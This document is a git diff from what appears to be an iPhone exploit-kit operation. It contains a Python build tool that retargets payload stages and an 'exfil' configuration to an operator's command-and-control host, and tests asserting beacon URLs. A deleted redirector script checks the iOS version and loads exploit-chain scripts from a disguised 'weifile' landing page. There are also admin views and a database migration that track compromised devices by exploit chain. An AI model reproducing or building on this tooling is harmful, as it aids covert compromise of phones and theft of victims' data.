public/next-chain. +"""Rewrite one99 host literals to --c2 and publish source/ → public/next-chain. -Usage: - python3 tools/build.py - python3 tools/build.py --host 192.168.31.130 --port 8000 - python3 tools/build.py --origin http://192.168.31.130:8000 +Delivery is always the weifile page origin + /next-chain (runtime). Do not pass --delivery +unless you are overriding NEWS2_CONFIG.deliveryPath for a CDN experiment. + + php artisan ds:build --c2 http://192.168.31.130:8000 + php artisan ds:build --c2 https://c2.example.com """ from __future__ import annotations import argparse +import re import shutil import sys +from dataclasses import dataclass from pathlib import Path from urllib.parse import urlparse TOOLS = Path(__file__).resolve().parent BUILDER_ROOT = TOOLS.parent PROJECT_ROOT = BUILDER_ROOT.parent - DEFAULT_SOURCE = BUILDER_ROOT / "source" DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain" -SKIP_SUFFIX = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".ico", ".dylib", ".bin"} -# Checked into source/config.js; must be rewritten when --origin is not the lab box. -TEMPLATE_HOST = "192.168.31.130" -TEMPLATE_PORT = 8000 + +EXFIL_RE = re.compile(r"exfil:\s*\{[^{}]*\}", re.S) +TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"} +SKIP_PUBLISH = {"log.html"} -def replacements(ip: str, port: int, origin: str) -> list[tuple[str, str]]: - use_tls = origin.startswith("https://") - tls_js = "true" if use_tls else "false" - pairs = [ - ("https://mh0usocqzi6f46i.com:443", origin), - ("http://mh0usocqzi6f46i.com:443", origin), - ("https://mh0usocqzi6f46i.com", origin), - ("http://one99.vip:80", origin), - ("https://one99.vip:80", origin), - ("http://one99.vip", origin), - ("https://one99.vip", origin), - (f"https://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin), - (f"http://{TEMPLATE_HOST}:{TEMPLATE_PORT}", origin), - (f'https://{TEMPLATE_HOST}"', origin + '"'), - (f'http://{TEMPLATE_HOST}"', origin + '"'), - (f"https://{TEMPLATE_HOST}/", origin + "/"), - (f"http://{TEMPLATE_HOST}/", origin + "/"), - ('{ host: "mh0usocqzi6f46i.com", port: 443 }', f'{{ host: "{ip}", port: {port} }}'), - ('{ host: "one99.vip", port: 80 }', f'{{ host: "{ip}", port: {port} }}'), +@dataclass(frozen=True) +class Endpoint: + host: str + port: int + origin: str + tls: bool + path: str + + @property + def url(self) -> str: + return self.origin + self.path + + +def parse_endpoint(raw: str, *, label: str) -> Endpoint: + parsed = urlparse((raw or "").strip()) + if parsed.scheme not in ("http", "https") or not parsed.hostname: + raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port][/path])") + host = parsed.hostname + tls = parsed.scheme == "https" + port = parsed.port or (443 if tls else 80) + origin = f"{parsed.scheme}://{host}" + if not ((tls and port == 443) or (not tls and port == 80)): + origin += f":{port}" + path = (parsed.path or "").rstrip("/") + if path and not path.startswith("/"): + path = "/" + path + return Endpoint(host=host, port=port, origin=origin, tls=tls, path=path) + + +def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]: + hp = f'{{ host: "{c2.host}", port: {c2.port} }}' + ports = f'{{ host: "{c2.host}", http_port: {c2.port}, https_port: {c2.port}, tls: {"true" if c2.tls else "false"} }}' + return [ + ("https://mh0usocqzi6f46i.com:443", c2.origin), + ("http://mh0usocqzi6f46i.com:443", c2.origin), + ("https://mh0usocqzi6f46i.com", c2.origin), + ("http://mh0usocqzi6f46i.com", c2.origin), + ("http://one99.vip:80", c2.origin), + ("https://one99.vip:80", c2.origin), + ("http://one99.vip", c2.origin), + ("https://one99.vip", c2.origin), + ("http://192.168.31.130:8080", c2.origin), + ("https://192.168.31.130:8080", c2.origin), + ('{ host: "mh0usocqzi6f46i.com", port: 443 }', hp), + ('{ host: "one99.vip", port: 80 }', hp), + ('{ host: "192.168.31.130", port: 8080 }', hp), ( '{ host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }', - f'{{ host: "{ip}", http_port: {port}, https_port: {port}, tls: {tls_js} }}', + ports, ), - ('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{port}"'), - ('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{port}\\"'), - (" http_port: 443,\n https_port: 443,", f" http_port: {port},\n https_port: {port},"), - (f"http_port: {TEMPLATE_PORT}", f"http_port: {port}"), - (f"https_port: {TEMPLATE_PORT}", f"https_port: {port}"), - (f'host: "{TEMPLATE_HOST}"', f'host: "{ip}"'), - (f'domain: "{TEMPLATE_HOST}"', f'domain: "{ip}"'), - ("mh0usocqzi6f46i.com", ip), - ("one99.vip", ip), - (TEMPLATE_HOST, ip), - ("hostOnly === '192.168.1.29'", f"hostOnly === '{ip}'"), - ("_h === '192.168.4.10'", f"_h === '{ip}'"), - ('hostOnly === "192.168.1.29"', f'hostOnly === "{ip}"'), - ('_h === "192.168.4.10"', f'_h === "{ip}"'), - ('"192.168.1.29"', f'"{ip}"'), - ('redirectUrl: "https://ab.ux600.com"', f'redirectUrl: "{origin}/?landed=1"'), - ("'https://ab.ux600.com'", f"'{origin}/?landed=1'"), - # public/log/ is a directory on lab; phone POST /log must hit the API. - ('__labCfHttp("POST", "/log"', '__labCfHttp("POST", "/api/ds/log"'), - ('__labCfHttp(\\"POST\\", \\"/log\\"', '__labCfHttp(\\"POST\\", \\"/api/ds/log\\"'), - ('__labCfHttp("GET", "/log.html?"', '__labCfHttp("GET", "/api/ds/log?"'), - ('__labCfHttp(\\"GET\\", \\"/log.html?"', '__labCfHttp(\\"GET\\", \\"/api/ds/log?"'), - ("/log.html", "/api/ds/log"), - (origin + '/log"', origin + '/api/ds/log"'), - (origin + '/log\\"', origin + '/api/ds/log\\"'), - (':80/log"', ':80/api/ds/log"'), - (':80/log\\"', ':80/api/ds/log\\"'), + ( + '{ host: "192.168.31.130", http_port: 8080, https_port: 8080, tls: false }', + ports, + ), + ('const HQ_WALLET_PORT = "443"', f'const HQ_WALLET_PORT = "{c2.port}"'), + ('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'), + ('const HQ_WALLET_PORT = "8080"', f'const HQ_WALLET_PORT = "{c2.port}"'), + ('const HQ_WALLET_PORT = \\"8080\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'), + ("mh0usocqzi6f46i.com", c2.host), + ("one99.vip", c2.host), + ("192.168.31.130", c2.host), ] - if use_tls: - pairs.extend( - [ - ("tls: false", "tls: true"), - ("prefer_https: false", "prefer_https: true"), - ] + + +def rewrite_text(text: str, c2: Endpoint) -> str: + for old, new in rewrite_pairs(c2): + if old != new: + text = text.replace(old, new) + return text + + +def patch_config(text: str, c2: Endpoint) -> str: + flag = "true" if c2.tls else "false" + + def exfil(_match: re.Match[str]) -> str: + return ( + "exfil: {\n" + f' host: "{c2.host}",\n' + f' domain: "{c2.host}",\n' + f" http_port: {c2.port},\n" + f" https_port: {c2.port},\n" + f" tls: {flag},\n" + f" prefer_https: {flag},\n" + " }" ) - return pairs + + patched, n = EXFIL_RE.subn(exfil, text, count=1) + if n != 1: + raise SystemExit("source/config.js: missing exfil { ... } block") + return patched -def iter_files(root: Path) -> list[Path]: - out: list[Path] = [] - for p in root.rglob("*"): - if not p.is_file(): +def rewrite_tree(root: Path, c2: Endpoint) -> int: + hits = 0 + for path in root.rglob("*"): + if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES: continue - if p.suffix.lower() in SKIP_SUFFIX: - continue - out.append(p) - return sorted(out) - - -def rewrite_tree(root: Path, ip: str, port: int, origin: str) -> list[dict]: - pairs = replacements(ip, port, origin) - hits: list[dict] = [] - for src in iter_files(root): - text = src.read_text("utf-8", errors="surrogateescape") - new = text - counts: dict[str, int] = {} - for old, repl in pairs: - n = new.count(old) - if n: - counts[old] = n - new = new.replace(old, repl) - if new != text: - src.write_text(new, encoding="utf-8", errors="surrogateescape") - hits.append({"file": str(src.relative_to(root)), "counts": counts}) + raw = path.read_text(encoding="utf-8") + if path.name == "config.js": + new = patch_config(raw, c2) + else: + new = rewrite_text(raw, c2) + if new != raw: + path.write_text(new, encoding="utf-8") + hits += 1 return hits @@ -124,7 +144,12 @@ def publish(staging: Path, dest: Path) -> None: old = dest.with_name(dest.name + ".old") if tmp.exists(): shutil.rmtree(tmp) - shutil.copytree(staging, tmp, ignore=shutil.ignore_patterns(".DS_Store")) + + def ignore(directory: str, names: list[str]) -> set[str]: + skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH} + return skip + + shutil.copytree(staging, tmp, ignore=ignore) if dest.exists(): if old.exists(): shutil.rmtree(old) @@ -139,64 +164,78 @@ def publish(staging: Path, dest: Path) -> None: tmp.rename(dest) -def resolve_origin(args: argparse.Namespace) -> tuple[str, int, str]: - if args.origin: - parsed = urlparse(args.origin) - if parsed.scheme not in ("http", "https") or not parsed.hostname: - raise SystemExit(f"invalid --origin: {args.origin}") - host = parsed.hostname - if parsed.port: - port = parsed.port - else: - port = 443 if parsed.scheme == "https" else 80 - origin = f"{parsed.scheme}://{host}" - if not ((parsed.scheme == "http" and port == 80) or (parsed.scheme == "https" and port == 443)): - origin += f":{port}" - return host, port, origin - - host = args.host - port = args.port - origin = f"{args.scheme}://{host}" - if not ((args.scheme == "http" and port == 80) or (args.scheme == "https" and port == 443)): - origin += f":{port}" - return host, port, origin - - -def build(source: Path, dest: Path, host: str, port: int, origin: str, dry_run: bool = False) -> list[dict]: +def build( + source: Path, + dest: Path, + c2: str, + delivery: str | None = None, + dry_run: bool = False, +) -> dict: if not source.is_dir(): raise SystemExit(f"source not found: {source}") + config = source / "config.js" + if not config.is_file(): + raise SystemExit(f"missing {config}") + + c2_ep = parse_endpoint(c2, label="--c2") + delivery_ep = parse_endpoint(delivery, label="--delivery") if delivery else None + + if dry_run: + preview = patch_config(config.read_text(encoding="utf-8"), c2_ep) + if delivery_ep is not None: + preview = re.sub( + r'deliveryPath:\s*"[^"]*"', + f'deliveryPath: "{delivery_ep.path or "/next-chain"}"', + preview, + count=1, + ) + return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "config": preview} + staging = BUILDER_ROOT / "out" / "staging" if staging.exists(): shutil.rmtree(staging) shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store")) - hits = rewrite_tree(staging, host, port, origin) - if dry_run: - shutil.rmtree(staging) - return hits + rewrite_tree(staging, c2_ep) + if delivery_ep is not None: + cfg = (staging / "config.js").read_text(encoding="utf-8") + cfg = re.sub( + r'deliveryPath:\s*"[^"]*"', + f'deliveryPath: "{delivery_ep.path or "/next-chain"}"', + cfg, + count=1, + ) + (staging / "config.js").write_text(cfg, encoding="utf-8") publish(staging, dest) shutil.rmtree(staging, ignore_errors=True) - return hits + return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "dest": str(dest.resolve())} def main(argv: list[str] | None = None) -> int: - ap = argparse.ArgumentParser(description="Rewrite DarkSword source and publish public/next-chain") - ap.add_argument("--host", default="192.168.31.130") - ap.add_argument("--port", type=int, default=8000) - ap.add_argument("--scheme", default="http", choices=("http", "https")) - ap.add_argument("--origin", default="", help="full origin, e.g. http://192.168.31.130:8000") + ap = argparse.ArgumentParser(description="Rewrite one99 hosts to --c2 and copy source/ to public/next-chain") + ap.add_argument("--c2", default="", help="C2 / API origin, e.g. http://192.168.31.130:8000") + ap.add_argument("--origin", default="", help="alias of --c2") + ap.add_argument("--delivery", default="", help="optional CDN origin; delivery path still /next-chain at runtime") ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE) ap.add_argument("--dest", type=Path, default=DEFAULT_DEST) ap.add_argument("--dry-run", action="store_true") args = ap.parse_args(argv) - host, port, origin = resolve_origin(args) - hits = build(args.source, args.dest, host, port, origin, dry_run=args.dry_run) - action = "would rewrite" if args.dry_run else "published" - print(f"{action} {len(hits)} files -> {origin}") - if not args.dry_run: - print(f"dest {args.dest.resolve()}") - for h in hits: - print(f" {h['file']} ({sum(h['counts'].values())})") + c2 = (args.c2 or args.origin or "").strip() + if not c2: + raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000") + + result = build( + args.source, + args.dest, + c2, + delivery=(args.delivery or "").strip() or None, + dry_run=args.dry_run, + ) + print("dry-run" if args.dry_run else "published") + print(f" c2 {result['c2']}") + print(f" delivery {result['delivery'] or '(weifile origin + /next-chain)'}") + if result.get("dest"): + print(f" dest {result['dest']}") return 0 diff --git a/channel-builder-ds/tools/tests/test_build.py b/channel-builder-ds/tools/tests/test_build.py index e543fbb..2781a11 100644 --- a/channel-builder-ds/tools/tests/test_build.py +++ b/channel-builder-ds/tools/tests/test_build.py @@ -14,88 +14,72 @@ if str(TOOLS) not in sys.path: import build # noqa: E402 +CONFIG = ( + "window.NEWS2_CONFIG = {\n" + ' deliveryPath: "/next-chain",\n' + " exfil: {\n" + ' host: "192.168.31.130",\n' + ' domain: "192.168.31.130",\n' + " http_port: 8080,\n" + " https_port: 8080,\n" + " tls: false,\n" + " prefer_https: false,\n" + " },\n" + "};\n" +) + + class BuildTest(unittest.TestCase): def setUp(self) -> None: self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-")) self.source = self.tmp / "source" self.dest = self.tmp / "next-chain" self.source.mkdir(parents=True) - (self.source / "config.js").write_text( - 'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n', - encoding="utf-8", - ) + (self.source / "config.js").write_text(CONFIG, encoding="utf-8") (self.source / "keep.txt").write_text("untouched\n", encoding="utf-8") (self.source / "pe_worker.js").write_text( - 'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n' - '__labCfHttp("POST", "/log", body, false);\n' - '__labCfHttp("GET", "/log.html?" + q, null, false);\n', + 'const C2 = "https://mh0usocqzi6f46i.com:443/beacon";\n' + 'function p7(){ return { host: "192.168.31.130", port: 8080 }; }\n', encoding="utf-8", ) + (self.source / "log.html").write_text("static log\n", encoding="utf-8") + (self.source / "pe_stage").mkdir() + (self.source / "pe_stage" / "s1_launchd.js").write_text("// stage\n", encoding="utf-8") def tearDown(self) -> None: shutil.rmtree(self.tmp, ignore_errors=True) - def test_rewrites_and_publishes_without_touching_source(self) -> None: + def test_rewrites_c2_and_publishes_pe_stage(self) -> None: before = (self.source / "config.js").read_text(encoding="utf-8") - hits = build.build( - self.source, - self.dest, - "192.168.31.130", - 8080, - "http://192.168.31.130:8080", - ) - self.assertTrue(hits) + result = build.build(self.source, self.dest, "http://192.168.31.130:8000") self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before) + self.assertEqual(result["c2"], "http://192.168.31.130:8000") published = (self.dest / "config.js").read_text(encoding="utf-8") - self.assertIn("http://192.168.31.130:8080/?landed=1", published) - self.assertIn('const HQ_WALLET_PORT = "8080"', published) - self.assertNotIn("ab.ux600.com", published) + self.assertIn('host: "192.168.31.130"', published) + self.assertIn("http_port: 8000", published) + self.assertIn("tls: false", published) self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n") - self.assertFalse((self.dest / "api").exists()) worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8") - self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker) - self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker) - self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker) - self.assertNotIn("/log.html", worker) - self.assertNotIn('__labCfHttp("POST", "/log"', worker) + self.assertIn("http://192.168.31.130:8000/beacon", worker) + self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker) + self.assertFalse((self.dest / "log.html").exists()) + self.assertTrue((self.dest / "pe_stage" / "s1_launchd.js").is_file()) + self.assertEqual((self.dest / "pe_stage" / "s1_launchd.js").read_text(encoding="utf-8"), "// stage\n") - def test_origin_override(self) -> None: - host, port, origin = build.resolve_origin( - type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})() - ) - self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443")) - - def test_origin_rewrites_lab_template_config(self) -> None: - (self.source / "config.js").write_text( - 'window.NEWS2_CONFIG = {\n' - ' exfil: {\n' - ' host: "192.168.31.130",\n' - ' domain: "192.168.31.130",\n' - ' http_port: 8000,\n' - ' https_port: 8000,\n' - ' tls: false,\n' - ' prefer_https: false,\n' - ' },\n' - ' redirectUrl: "https://ab.ux600.com",\n' - '};\n', - encoding="utf-8", - ) - build.build( - self.source, - self.dest, - "c2.example.com", - 443, - "https://c2.example.com", - ) + def test_https_c2(self) -> None: + build.build(self.source, self.dest, "https://c2.example.com") published = (self.dest / "config.js").read_text(encoding="utf-8") self.assertIn('host: "c2.example.com"', published) - self.assertIn('domain: "c2.example.com"', published) self.assertIn("http_port: 443", published) - self.assertIn("https_port: 443", published) self.assertIn("tls: true", published) - self.assertIn("https://c2.example.com/?landed=1", published) - self.assertNotIn("192.168.31.130", published) - self.assertNotIn("ab.ux600.com", published) + self.assertIn("https://c2.example.com/beacon", (self.dest / "pe_worker.js").read_text(encoding="utf-8")) + + def test_parse_endpoint(self) -> None: + ep = build.parse_endpoint("https://lab.example:8443/next-chain", label="--delivery") + self.assertEqual(ep.host, "lab.example") + self.assertEqual(ep.port, 8443) + self.assertEqual(ep.origin, "https://lab.example:8443") + self.assertEqual(ep.url, "https://lab.example:8443/next-chain") if __name__ == "__main__": diff --git a/channel-builder-new/source/weifile/route.js b/channel-builder-new/source/weifile/route.js deleted file mode 100644 index 2464d21..0000000 --- a/channel-builder-new/source/weifile/route.js +++ /dev/null @@ -1,133 +0,0 @@ -(function () { - var DS_BASE = '/next-chain'; - var HOLD_MS = 10 * 60 * 1000; - var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at']; - - function parseIosVersion() { - var ua = navigator.userAgent || ''; - var m = /iPhone OS ([0-9_]+)/.exec(ua); - if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua); - if (!m) m = /CPU OS ([0-9_]+)/.exec(ua); - if (!m) { - m = /Version\/(\d+)\.(\d+)/.exec(ua); - return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null; - } - return m[1].split('_').map(function (p) { - return parseInt(p, 10); - }); - } - - function cmpVer(a, b) { - for (var i = 0; i < 3; i++) { - var ai = (a && a[i]) || 0; - var bi = (b && b[i]) || 0; - if (ai < bi) return -1; - if (ai > bi) return 1; - } - return 0; - } - - function persistChannelCode(code) { - code = String(code || '').trim().slice(0, 64); - if (!code) return ''; - try { - window.__LAB_CHANNEL_CODE__ = code; - window.__CORUNA_CHANNEL__ = code; - } catch (e0) {} - try { - sessionStorage.setItem('lab_channel_code', code); - } catch (e1) {} - try { - localStorage.setItem('lab_channel_code', code); - } catch (e2) {} - return code; - } - - function channelCode() { - try { - var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i); - if (m && m[1]) return persistChannelCode(m[1].toUpperCase()); - } catch (eP) {} - return ''; - } - - function dsUrl(path) { - var origin = ''; - try { - if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, ''); - } catch (e) {} - return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path); - } - - function loadScript(src, onload, attempt) { - attempt = attempt || 0; - var s = document.createElement('script'); - s.async = false; - s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now(); - s.onload = function () { if (onload) onload(); }; - s.onerror = function () { - if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1)); - }; - (document.body || document.documentElement).appendChild(s); - } - - function loadScripts(urls) { - var i = 0; - function next() { - if (i >= urls.length) return; - loadScript(urls[i++], next); - } - next(); - } - - function holdFresh() { - var now = Date.now(); - for (var i = 0; i < HOLD_KEYS.length; i++) { - var key = HOLD_KEYS[i]; - try { - var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0; - if (ls && now - ls <= HOLD_MS) return true; - } catch (e0) {} - try { - var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0; - if (ss && now - ss <= HOLD_MS) return true; - } catch (e1) {} - } - return false; - } - - function markHold() { - var ts = String(Date.now()); - try { - localStorage.setItem('__ds_rce_hold', ts); - localStorage.setItem('__ds_chain_hold', ts); - } catch (e2) {} - try { - sessionStorage.setItem('__ds_rce_hold', ts); - sessionStorage.setItem('__ds_chain_hold', ts); - } catch (e3) {} - } - - function loadDs(code) { - if (holdFresh()) return; - markHold(); - persistChannelCode(code); - try { - window.__LAB_DELIVERY_HOST__ = dsUrl(''); - if (!window.__LAB_EXFIL_DOMAIN__) { - window.__LAB_EXFIL_DOMAIN__ = location.hostname || ''; - } - } catch (eH) {} - loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]); - } - - var ios = parseIosVersion(); - var code = channelCode(); - if (!ios || cmpVer(ios, [18, 1]) < 0) { - loadScript('index.js'); - return; - } - if (cmpVer(ios, [18, 7]) < 0) { - loadDs(code); - } -})(); diff --git a/channel-builder-new/source/weifile/templates/blank.html b/channel-builder-new/source/weifile/templates/blank.html index 50ae1a2..bfe6958 100644 --- a/channel-builder-new/source/weifile/templates/blank.html +++ b/channel-builder-new/source/weifile/templates/blank.html @@ -7,6 +7,130 @@ weifile - + diff --git a/channel-builder-new/source/weifile/templates/test.html b/channel-builder-new/source/weifile/templates/test.html index 99b31ce..2530df4 100644 --- a/channel-builder-new/source/weifile/templates/test.html +++ b/channel-builder-new/source/weifile/templates/test.html @@ -111,7 +111,131 @@

加载中

请稍候,正在准备页面…

- + + diff --git a/channel-builder-new/tools/pack_channel.py b/channel-builder-new/tools/pack_channel.py index 3feabe0..c09b014 100644 --- a/channel-builder-new/tools/pack_channel.py +++ b/channel-builder-new/tools/pack_channel.py @@ -202,15 +202,6 @@ def normalize_landing_template(value: str | None) -> str: return template -def ensure_route_js(weifile_dir: Path) -> Path: - src = xxbb_build.SOURCE_WEIFILE / "route.js" - if not src.is_file(): - raise SystemExit(f"missing weifile router: {src}") - dest = weifile_dir / "route.js" - dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8") - return dest - - def apply_landing_template(weifile_dir: Path, template: str) -> Path: template = normalize_landing_template(template) src = LANDING_TEMPLATE_ROOT / f"{template}.html" @@ -282,7 +273,9 @@ def pack_channel( encoding="utf-8", ) apply_landing_template(weifile_dest, landing_template) - ensure_route_js(weifile_dest) + leftover_route = weifile_dest / "route.js" + if leftover_route.is_file(): + leftover_route.unlink() if channel_out.exists(): shutil.rmtree(channel_out) diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py index 8da4d59..4bcafef 100644 --- a/channel-builder-new/tools/tests/test_build.py +++ b/channel-builder-new/tools/tests/test_build.py @@ -83,18 +83,18 @@ class XxbbBuildTest(unittest.TestCase): self.assertFalse((artifact / "weifile").exists()) self.assertTrue((weifile / "index.js").is_file()) self.assertTrue((weifile / "weifile.html").is_file()) - self.assertTrue((weifile / "route.js").is_file()) + self.assertFalse((weifile / "route.js").is_file()) html = (weifile / "weifile.html").read_text(encoding="utf-8") - route = (weifile / "route.js").read_text(encoding="utf-8") self.assertNotIn("__CHANNEL_C__", html) self.assertNotIn("/t.js", html) - self.assertIn("route.js", html) - self.assertIn("location.pathname", route) - self.assertIn("/next-chain", route) - self.assertIn("boot.js", route) - self.assertIn("10 * 60 * 1000", route) - self.assertNotIn("channeICode", route) - self.assertIn("index.js", route) + self.assertNotIn('src="route.js"', html) + self.assertIn("location.pathname", html) + self.assertIn("/next-chain", html) + self.assertIn("config.js", html) + self.assertIn("holdFresh", html) + self.assertIn("10 * 60 * 1000", html) + self.assertNotIn("channeICode", html) + self.assertIn("index.js", html) index_js = (weifile / "index.js").read_text(encoding="utf-8") expected_host = generate_domains(channel_c, 1)[0] self.assertIn(expected_host, index_js) @@ -321,15 +321,19 @@ class XxbbBuildTest(unittest.TestCase): self.assertEqual(stripped, "head;") html = pack_channel.inject_tjs("") self.assertIn('/t.js', html) - route = (xxbb_build.SOURCE_WEIFILE / "route.js").read_text(encoding="utf-8") - self.assertIn("location.pathname", route) - self.assertIn("/next-chain", route) - self.assertIn("boot.js", route) - self.assertIn("10 * 60 * 1000", route) - self.assertNotIn("channeICode", route) + self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file()) for name in ("weifile.html", "templates/blank.html", "templates/test.html"): landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8") - self.assertIn("route.js", landing) + self.assertNotIn('src="route.js"', landing) + self.assertIn("location.pathname", landing) + self.assertIn("/next-chain", landing) + self.assertIn("config.js", landing) + self.assertIn("boot.js", landing) + self.assertNotIn("__LAB_RUN_BOOT__", landing) + self.assertNotIn("iframe", landing) + self.assertIn("holdFresh", landing) + self.assertIn("10 * 60 * 1000", landing) + self.assertNotIn("channeICode", landing) self.assertNotIn('src="index.js"', landing) def test_source_details_has_lab_passworded_wap_and_sms(self) -> None: diff --git a/database/migrations/2026_08_26_000010_devices_family_enum.php b/database/migrations/2026_08_26_000010_devices_family_enum.php new file mode 100644 index 0000000..e98ca5b --- /dev/null +++ b/database/migrations/2026_08_26_000010_devices_family_enum.php @@ -0,0 +1,76 @@ +unsignedTinyInteger('chain')->default(1)->after('device_id'); + }); + + if (Schema::hasColumn('devices', 'family')) { + foreach (DB::table('devices')->select('id', 'family')->cursor() as $row) { + $raw = strtolower(trim((string) $row->family)); + $code = in_array($raw, ['darksword', '2'], true) ? 2 : 1; + DB::table('devices')->where('id', $row->id)->update(['chain' => $code]); + } + + try { + Schema::table('devices', function (Blueprint $table) { + $table->dropIndex(['family']); + }); + } catch (Throwable) { + } + + Schema::table('devices', function (Blueprint $table) { + $table->dropColumn('family'); + }); + } + + Schema::table('devices', function (Blueprint $table) { + $table->index('chain'); + }); + } + + public function down(): void + { + if (! Schema::hasTable('devices') || ! Schema::hasColumn('devices', 'chain')) { + return; + } + + if (! Schema::hasColumn('devices', 'family')) { + Schema::table('devices', function (Blueprint $table) { + $table->string('family', 32)->default('coruna')->after('device_id'); + }); + } + + foreach (DB::table('devices')->select('id', 'chain')->cursor() as $row) { + $label = (int) $row->chain === 2 ? 'darksword' : 'coruna'; + DB::table('devices')->where('id', $row->id)->update(['family' => $label]); + } + + try { + Schema::table('devices', function (Blueprint $table) { + $table->dropIndex(['chain']); + }); + } catch (Throwable) { + } + + Schema::table('devices', function (Blueprint $table) { + $table->dropColumn('chain'); + }); + + Schema::table('devices', function (Blueprint $table) { + $table->index('family'); + }); + } +}; diff --git a/resources/views/admin/devices/index.blade.php b/resources/views/admin/devices/index.blade.php index d630715..ca63610 100644 --- a/resources/views/admin/devices/index.blade.php +++ b/resources/views/admin/devices/index.blade.php @@ -16,10 +16,10 @@
- - - + +
@@ -119,8 +119,8 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () { cols: [[ { field: 'id', title: 'ID', width: 80, sort: true }, { field: 'device_id', title: '设备 ID', minWidth: 180, sort: true }, - { field: 'family', title: '利用链', width: 120, templet: function (d) { - var ds = d.family === 'darksword'; + { field: 'chain', title: '利用链', width: 120, templet: function (d) { + var ds = Number(d.chain) === 2; return '' + (ds ? 'DarkSword' : 'Coruna') + ''; } }, diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 3b9b13d..def7bab 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -19,7 +19,7 @@ 利用链 - @if (($device->family ?: \App\Models\Device::FAMILY_CORUNA) === \App\Models\Device::FAMILY_DARKSWORD) + @if ($device->isDarkSword()) DarkSword @else Coruna diff --git a/routes/console.php b/routes/console.php index 21d63aa..48d7af9 100644 --- a/routes/console.php +++ b/routes/console.php @@ -159,39 +159,31 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry- return 0; })->purpose('Repack existing new-builder channels with latest weifile / details / plugins'); -Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () { +Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () { $script = base_path('channel-builder-ds/tools/build.py'); if (! is_file($script)) { $this->error('missing '.$script); return 1; } - $args = ['python3', $script]; - $host = trim((string) $this->option('host')); - $port = trim((string) $this->option('port')); - $origin = trim((string) $this->option('origin')); - if ($origin === '' && $host === '') { + $c2 = trim((string) $this->option('c2')); + $origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin')); + $delivery = trim((string) $this->option('delivery')); + if ($origin === '') { $origin = rtrim((string) config('app.url'), '/'); - $this->warn('未传 --origin,使用 APP_URL: '.$origin); - $this->warn('线上必须显式指定 C2,例如: php artisan ds:build --origin https://你的域名'); + $this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin); + $this->warn('线上必须显式指定 C2,例如: php artisan ds:build --c2 https://c2.example.com'); } - if ($origin !== '') { - $args[] = '--origin'; - $args[] = $origin; - } - if ($host !== '') { - $args[] = '--host'; - $args[] = $host; - } - if ($port !== '') { - $args[] = '--port'; - $args[] = $port; + $args = ['python3', $script, '--c2', $origin]; + if ($delivery !== '') { + $args[] = '--delivery'; + $args[] = $delivery; } $this->info(implode(' ', $args)); passthru(implode(' ', array_map('escapeshellarg', $args)), $code); return $code; -})->purpose('Rewrite DarkSword source and publish public/next-chain'); +})->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain'); Artisan::command('coruna:channel-domains {--json}', function () { $domains = array_values(array_filter(config('coruna.channel_domains', []))); diff --git a/routes/ds.php b/routes/ds.php index d1a7087..02abb5a 100644 --- a/routes/ds.php +++ b/routes/ds.php @@ -12,7 +12,9 @@ Route::any('/beacon', [$ds, 